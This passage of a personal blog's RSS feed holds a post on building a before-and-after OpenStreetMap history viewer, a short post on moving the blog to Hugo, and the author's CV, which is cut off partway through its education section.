&lt;p&gt;2021-02-22: I added sections about Google Photos alternatives&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Visualising OpenStreetMap changes at a macro scale</title><link>https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/</link><pubDate>Sun, 30 Aug 2020 12:17:38 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/</guid><description>&lt;h2 id="the-problem"&gt;the problem&lt;/h2&gt;
&lt;p&gt;One of the most satisfying things for me, as a contributor to OSM, is to see how my changes have improved the map for everyone. There currently are a number of ways to achieve this, which primarily focus on the micro level, for example a single changeset (such as &lt;a href="https://osmcha.org"
target="_blank" rel="noreferrer noopener"
&gt;OSMCha&lt;/a&gt;). These are very useful for checking for things like vandalism, and simply just showing what that changeset did to nodes, ways &amp;amp; relations. On the other hand, I&amp;rsquo;ve yet to find something that lets me see what has happened in an area over a greater time period.&lt;/p&gt;
&lt;h2 id="the-goal-with-hindsight"&gt;the goal (with hindsight&amp;hellip;)&lt;/h2&gt;
&lt;p&gt;In an ideal world, I can picture a screen with two maps, with one on top of the other, each with a date picker. There would be a slider which can be moved from one side to the other to show the differences between them. This layout is inspired by the currently out of service &lt;a href="https://mvexel.github.io/thenandnow/"
target="_blank" rel="noreferrer noopener"
&gt;OSM Then and Now&lt;/a&gt;, which goes some of the way towards a solution, but the data shown is too old to be useful for me.&lt;/p&gt;
&lt;h2 id="a-partial-solution"&gt;a partial solution&lt;/h2&gt;
&lt;h3 id="viability"&gt;viability&lt;/h3&gt;
&lt;p&gt;In OpenStreetMap people contribute through a system called changesets. These effectively group together a number of alterations (additions, edits, deletions) to the data structures of OSM, and can be thought of as analogous to &lt;code&gt;git&lt;/code&gt; commits. These changesets can then be combined in the order of their creation to create an up to date version of the database.&lt;/p&gt;
&lt;p&gt;Therefore, it is possible to recreate the database of any point in time by ignoring any changesets that were authored after that point, which can be done using a tool such as &lt;a href="https://osmcode.org/osmium-tool/"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;osmium&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="implementation"&gt;implementation&lt;/h3&gt;
&lt;p&gt;I followed a method similar to the one in &lt;a href="https://hackmd.io/XfrY334rS7CV0tnPzx8Wvw"
target="_blank" rel="noreferrer noopener"
&gt;this&lt;/a&gt; post, however, after filtering the history file to the desired time, I imported it into Postgres (using osm2psgl).&lt;/p&gt;
&lt;p&gt;Once I had everything in Postgres I first tried to use the &lt;a href="https://github.com/Zverik/Nik4"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;nik4&lt;/code&gt;&lt;/a&gt; tool, which worked as described. However, it wasn&amp;rsquo;t really built for my usecase; for example, I had to manually create an image for each location I wanted to compare. It also wasn&amp;rsquo;t great for directly comparing old tiles to the current ones.&lt;/p&gt;
&lt;p&gt;Therefore, I decided that it&amp;rsquo;d be best to just create a full on slippy map, using the normal stack, a-la &lt;a href="https://switch2osm.org/serving-tiles/manually-building-a-tile-server-20-04-lts/"
target="_blank" rel="noreferrer noopener"
&gt;switch2osm&lt;/a&gt;. This gave me pretty much a full recreation of how the map at &lt;a href="https://openstreetmap.org"
target="_blank" rel="noreferrer noopener"
&gt;openstreetmap.org&lt;/a&gt; looked at the time period I picked.&lt;/p&gt;
&lt;p&gt;Using the Leaflet library to display these tiles, I followed an example from Mapbox on how you can overlay two different maps with a slider. I also added two pieces of text to illustrate which side was which.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_a5445f000f91c8a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_51cfc02eb8776604.webp 320w, https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_b60029d3717a88db.webp 640w, https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_391cb41fa7e839d9.webp 960w, https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_1ffc1f6f8e89b5a4.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_4985e53ec689873b.jpg'
width="2000"
height="1241"
loading="lazy"
alt='Leaderboard'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can see the result at &lt;a href="https://maps.honeyfox.uk"
target="_blank" rel="noreferrer noopener"
&gt;https://maps.honeyfox.uk&lt;/a&gt; (which only works for the UK). This will likely be very impermanent, as I don&amp;rsquo;t really have the means to host it &amp;ndash; the database and tileserver are currently on my desktop PC, with an SSH tunnel up to my VPS.&lt;/p&gt;
&lt;h3 id="failures"&gt;failures&lt;/h3&gt;
&lt;p&gt;This solution partially meets my goal. Ideally you&amp;rsquo;d be able to set the specific date that each side of the map displayed, but as far as I&amp;rsquo;m aware there is no way to achieve that without having to drop the database and re-import everything from the other time period. The map stack I&amp;rsquo;m using (postgres/postgis/mapnik/renderd/mod_tile/apache2 - bit of a mouthful) isn&amp;rsquo;t really designed to display anything but the latest version of the data, as typically that&amp;rsquo;s all you&amp;rsquo;d really need.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;conclusion&lt;/h2&gt;
&lt;p&gt;I think this would be a valuable tool to help motivate contributors if the implementation was improved. I&amp;rsquo;d really appreciate any suggestions or advice on how to achieve this.&lt;/p&gt;
&lt;h2 id="late-2022-update"&gt;late 2022 update&lt;/h2&gt;
&lt;p&gt;In July 2021, I made some upgrades to this demo, but never got round to updating this post. It is still running at &lt;a href="https://osm-history.george.honeywood.org.uk"
target="_blank" rel="noreferrer noopener"
&gt;https://osm-history.george.honeywood.org.uk&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Instead of showing just one set of old tiles, it shows the state every year between 2007 and 2022. As rendering the tiles live requires a beefy server, I used a script to download the tiles for each year I wanted, making everything static. This only works because I only wanted to render a relatively small area &amp;ndash; when you increase the area, the amount of tiles you need to download grows exponentially. This demo is now just a bunch of &lt;code&gt;$year/$z/$x/$y.png&lt;/code&gt;s I serve using nginx on my little VPS.&lt;/p&gt;
&lt;p&gt;Departing from the technical details, you can see my contributions begin in 2019. My initial prompt to start editing OSM was that a new build estate near my house was missing from the map (you can see it appear &lt;a href="https://osm-history.george.honeywood.org.uk/#17/50.78814/-1.90129"
target="_blank" rel="noreferrer noopener"
&gt;here&lt;/a&gt; in 2019).&lt;/p&gt;
&lt;p&gt;In some years there aren&amp;rsquo;t many changes. In others a lot of stuff is changed &amp;ndash; between 2010 and 2011, all the roads and residential areas were added. From then all is quiet until 2018, when most of the houses were drawn in. Someone&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt; gave &lt;a href="https://osm-history.george.honeywood.org.uk/#16/50.7994/-1.8767"
target="_blank" rel="noreferrer noopener"
&gt;Ferndown Golf Club&lt;/a&gt; an excellent makeover in 2022, adding all the hole numbers, greens, fairways and bunkers. I can and have spent ages looking at this visualization. Something about it is extremely satisfying to me.&lt;/p&gt;
&lt;p&gt;One day I hope to make something like this that can scale up globally, or at least to a national scale.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;I would never map something like this myself. This is part of the beauty of OSM &amp;ndash; people map the things they care about. I&amp;rsquo;d never map a golf course partially because I know nothing about golf, and partially because I vaguely disapprove of it as a landuse. There are currently three 18-hole courses within 3 km of my parent&amp;rsquo;s house (there used to be 4!).&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>This blog</title><link>https://george.honeywood.org.uk/blog/this-blog/</link><pubDate>Sat, 29 Aug 2020 19:08:45 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/this-blog/</guid><description>&lt;p&gt;I&amp;rsquo;m going to use this blog to write about random things I care about. It may or may not turn out well &amp;ndash; it must have gone at least a little well if you are reading this.&lt;/p&gt;
&lt;p&gt;For anyone interested, this website is created using Hugo, which is a static site generator. I used to have a blog made using Wordpress, which was a bit overkill for my needs and I got bored of writing stuff for it about a month in, so it died the slow death that I&amp;rsquo;m sure this one will have to endure. Hugo seems to be a much more elegant solution for this, and I like being able to write all my stuff in VSCode, keep it safe in my own git repo, and avoid having to host &lt;em&gt;another&lt;/em&gt; database.&lt;/p&gt;
&lt;p&gt;To be fair to Wordpress, setting it up when I was 15 was a good learning experience. I somehow managed to fumble through the instructions, probably leaving some fairly large security holes behind me. I think a version of it might still be in the Wayback Machine if you ever have the unpleasant experience of stumbling upon it.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll see where this goes I guess ~&lt;/p&gt;</description></item><item><title>CV</title><link>https://george.honeywood.org.uk/cv/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://george.honeywood.org.uk/cv/</guid><description>
&lt;div&gt;
&lt;h2&gt;George Honeywood&lt;/h2&gt;
&lt;p&gt;Computer Scientist, Royal Holloway graduate. Currently working as an Infrastructure Assistant at GSA Capital.&lt;/p&gt;
&lt;p&gt;(CV also available as &lt;em&gt;&lt;a href="../georgehoneywood-cv.pdf"&gt;a PDF&lt;/a&gt;&lt;/em&gt;.)&lt;/p&gt;
&lt;h3&gt;Experience&lt;/h3&gt;
&lt;h4&gt;Infrastructure Assistant&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;GSA Capital&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Sep 2023 — Present&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;London&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Maintaining and monitoring internal infrastucture, including an extensive Linux estate, VMware cluster and Slurm compute cluster.&lt;/li&gt;
&lt;li&gt;Promptly and professionally handling a wide range of internal user queries, across OS support, cluster compute, networking, and desktop support.&lt;/li&gt;
&lt;li&gt;Config management via Puppet and Terraform.&lt;/li&gt;
&lt;li&gt;Automation in Python, streamlining existing processes.&lt;/li&gt;
&lt;li&gt;Datacenter work, racking &amp;amp; patching servers and appliances.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Junior Software Engineer&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Cudo&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Jul 2021 — Jul 2022&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Bournemouth, Dorset&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Helped develop their first Go microservice, as part of an agile team. This reduced risk exposure when exchanging user balances.&lt;/li&gt;
&lt;li&gt;Added metrics to track performance data, using Prometheus and Grafana.&lt;/li&gt;
&lt;li&gt;Worked on their Vue.js web app and Loopback-based API, fixing long-standing bugs and issues in the platform.&lt;/li&gt;
&lt;li&gt;Implemented a Docker based testing workflow to ensure correctness in database interactions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Junior Systems Administrator&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Royal Holloway Physics Dept.&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Oct 2019 — Jul 2021&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Egham, Surrey&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Helped with migration from legacy Nagios monitoring system to Icinga, to ensure service continuity.&lt;/li&gt;
&lt;li&gt;Installed &amp;amp; imaged rack mounted servers for use within a Hadoop compute cluster.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;References available on request.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Education&lt;/h3&gt;
&lt;h4&gt;B.Sc. Computer Science (Year in Industry), 1st&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Royal Holloway, University of London&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Sep 2019 — Jul 2023&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Egham, Surrey&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Final Year Project: offline HTML5 map viewer app. I implemented a TypeScript parser for the binary Mapsforge file format, along with a HTML canvas-based map renderer.&lt;/li&gt;
&lt;li&gt;Studied modules including: Software Language Engineering, Functional Programming, User-Centred Design, Multi-Agent Systems, Databases, and Operating Systems.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;A-Levels&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;Bournemouth School Sixth Form&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
